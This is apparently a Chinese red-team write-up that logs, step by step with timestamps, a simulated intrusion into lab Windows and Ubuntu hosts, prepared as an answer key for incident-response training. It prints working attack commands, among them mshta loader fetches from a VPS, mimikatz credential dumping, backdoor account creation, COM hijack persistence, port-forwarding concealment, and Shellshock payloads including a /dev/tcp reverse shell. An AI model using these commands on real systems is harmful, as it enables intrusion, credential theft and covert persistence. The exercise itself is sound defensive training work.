本文为整个专题的第三篇,进入了攻击模拟的第II期。在本次攻击模拟中,引入了同一网段中的两台主机(Windows,以下简称W;Ubuntu,以下简称L),分别被两个攻击者攻击后,也导致对方遭受攻击。
为了方便后续的总结与复盘工作,给应急人员提供一份“参考答案”,详细的记录了每个攻击模拟动作的时间点和细节。但发现内容太多,故拆分为两个部分(上:W -> L;下:L -> W),本文为上部分的记述。
该部分主要由内部蓝军完成,攻击链路设计是 @exploitworld 负责,攻击模拟和报告编写由 @可达鸭 和 @番茄 负责,感谢为本篇文章提供素材。
01
—
攻击模拟说明
攻击模拟并非实战渗透,但又贴近于实战。真实的产生了攻击痕迹(日志),但为了让应急人员聚焦这部分日志,减少了其他操作。与真实情况相比,主要有两点区别:
- 部分攻击步骤看起来没必要或者冗余,比如在获取webshell方法中,就充分利用了环境存在的漏洞,制定了两个思路拿权限,实则是在为应急响应人员提供更加丰富的分析场景;
- 攻击动作非常明确、手法干净利落,攻击的实施完全按照剧本进行,没有带来额外的、无目的漏洞测试和利用,所以又有点偏离实战。
整个攻击模拟专项,主要分为以下五个步骤:
02
—
攻击链设计
在第I期的基础上,引入了供应链软件攻击、内网横向攻击,同时加入两台不同操作系统的服务器进行双向攻击,让模拟更贴近实战、让应急响应场景更加复杂。
2.1 难度级别
一般
2.2 攻击链路
复杂
2.3 攻击描述
攻击者拿下W机器后,在C段进行信息收集,发现同网段有一台存活的L主机。针对该主机进行扫描,探测到其存在shellshock漏洞,通过利用该漏洞从而拿到L主机权限。
03
—
资源准备
1台Windows2008 x64 R2(无补丁版本);
1台Ubuntu 16.04(Linux kernel 2.6.22<3.9,bash 4.3),与“W”处于同一个C段;
2台公网VPS。
04
—
攻击靶场搭建
漏洞环境分为两部分:
- W环境漏洞:该靶场环境使用了存在后门漏洞(RCE)的phpstudy作为基础环境从而被攻击,Windows系统本身存在CVE-2018-8120漏洞导致被提权,以至于最后被建立了Windows隧道。
- L环境漏洞:该环境上运行的环境FineCMS V5.6存在文件上传漏洞,攻击者直接利用该漏洞获取webshell,继续攻击进行shell反弹连接、本地脏牛漏洞提权,植入挖矿文件。
操作系统版本 | Web后端语言 | DB版本 | CMS版本 | 其他环境 |
---|---|---|---|---|
Windows2008 x64 R2(无补丁版本) | PHP 5.2.17 | MySQL 5.6 | phpcms V9.6 | 1)Phpstudy2016/2018供应链后门版本2)HFS Rejetto 2.x版本3)3389端口默认关闭 |
Ubuntu 16.04(Linux kernel 2.6.22<3.9) | PHP 5.6 | MySQL 5.6 | FineCMS V5.0.6 | 1)GNU Bash 4.32)Apache 2.2.21 |
05
—
攻击模拟矩阵与能力图谱
后续内容较细较多,于是进行稍加总结做成一个简易的矩阵。同时想要表达出红蓝对所需的能力,因此在最后两列也稍加提炼。
06
—
实施攻击模拟
6.1 边界突破
6.1.1 端口扫描
2021-10-28 15:16,使用TxPortMap对W进行端口扫描,发现开放80和3306端口
6.1.2 目录扫描
15:21,使用dirsearch对W进行文件目录扫描,发现phpinfo.php等页面
6.1.3 敏感信息分析
15:23,访问phpinfo.php发现使用了phpstudy及PHP的版本信息
6.1.4 phpstudy后门漏洞测试
15:28,尝试利用phpstudy后门漏洞,抓包phpinfo.php并加载payload(system(‘whoami’);)测试成功
6.1.5 利用phpstudy后门漏洞上线CS
15:31,加载hta后门payload进行cs上线
system('mshta http://vps:8080/seesee');base64编码:c3lzdGVtKCdtc2h0YSBodHRwOi8vdnBzOjgwODAvc2Vlc2VlJyk7 |
---|
6.1.6 上传PHP大马并查看系统信息
15:34,通过CS上传PHP大马set_checksum.php,并查看系统用户及域环境。E:phpStudyPHPTutorialWWWphpcmsinstall_packageapiset_checksum.php
15:34~15:39,访问http://W//phpcms/install_package/api/set_checksum.php,执⾏命令 net user、net config server和net config workstation ->得出结论:⽆域环境
6.2 权限提升
6.2.1 CVE-2018-8120本地提权
16:13,通过CS将CVE-2018-8120本地提权工具上传到W的C:WindowsTempCrashpadreports.C__V__E-2-0-1-8-8-1-2-0.exe
16:14,执行exp进行提权成功,执行whoami返回system权限
16:17,利用漏洞执行命令上线system权限的shell
C:WindowsTempCrashpadreports.C__V__E-2-0-1-8-8-1-2-0.exe "mshta http://vps:8080/seesee" |
---|
6.2.2 迁移进程至svhost伪装
16:19,将system权限进程迁移到svhost进程进行伪装
6.3 权限维持
6.3.1 获取凭据
16:21,利⽤cs的mimikatz抓取明⽂密码
shell mimikatz sekurlsa::logonpasswords |
---|
6.3.2 添加后门账号
16:23,添加后门账号DefaultAccount
net user "DefaultAccount" "password9ijn" /add |
---|
6.3.3 远程桌面登录
17:31,通过修改注册表开启远程桌面登录
reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f reg query "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections |
---|
6.3.4 COM组件劫持
利⽤{42aedc87-2188-41fd-b9a3-0c966feabec1}组件,explorer触发(需第⼀次打开才可触发)。准备好⼀个弹cmd的dll(根据不同架构,此处为x64),名字修改为 api-ms-win-downlevel-1x64-l1-1-0.dll
17:36,新建⽂件夹,将dll放在新建的C:ProgramDataPackage Cache{BCDE0395-E52F-467C-8E3DC4579291692E}⽬录
17:39,修改注册表,添加项HKEY_CURRENT_USERSoftwareClassesCLSID{42aedc87-2188-41fd-b9a3-0c966feabec1}InProcServer32,添加/修改数据:
C:ProgramDataPackage Cache{BCDE0395-E52F-467C-8E3DC4579291692E}api-ms-win-downlevel-1x86-l1-1-0.dllThreadingModel:Apartment |
---|
17:41,测试com劫持弹出cmd
6.4 隐蔽隧道
6.4.1 远程端口转发
17:48,将W的3389端口转发到W的53端口进行隐藏:
netsh interface portproxy add v4tov4 listenport=53 listenaddress=W connectport=3389 connectaddress=W |
---|
17:49,测试端口转发成功
6.4.2 上传宏样本
18:02,上传名为“上传环境搭建.xlsm“的文件到C:UsersAdministratorDocuments,留下样本痕迹。
6.5 横向移动
6.5.1 内网主机探测
查看地址解析情况arp –a,发现C段存活主机
6.5.2 端口与目录扫描
18:05,上传扫描⼯具 TxPortMap_windows_amd64.exe 到 C:UsersAdministratorAppDataLocalGoogleSoftware Reporter ToolreportsTxPortMap_windows_amd64.exe
18:10, 对其中一台L进行扫描,发现开启了web端口
18:12,目录枚举发现cgi-bin目录和status文件
6.5.3 Shellshock漏洞利用获取bash shell
18:15,访问/cgi-bin/status目录存在,尝试进行shellshock漏洞检测
curl -A "() { :; }; echo; /bin/cat /etc/passwd" http://L:8080/cgibin/status |
---|
18:20,通过利用bash漏洞反弹shell到VPS的80端口,并在VPS开启nc进行监听
curl -A '() { :; };echo; /bin/bash -i >& /dev/tcp/VPS/80 0>&1' http://L:8080/cgi-bin/status |
---|
6.5.4 本机信息收集
18:12,查看命令执行历史记录
18:31,查找用户有写权限的可执行文件并输出
find / -perm –u=s –type f 2>/dev/null |
---|
07
—
环境备份
攻击完成之后,不再做其他的操作,立马对环境创建快照,以免过多操作给应急人员带来太多干扰。
但在本期中,需要将L -> W的部分完成之后再备份环境。在实际操作中,两个方向的攻击模拟同时进行。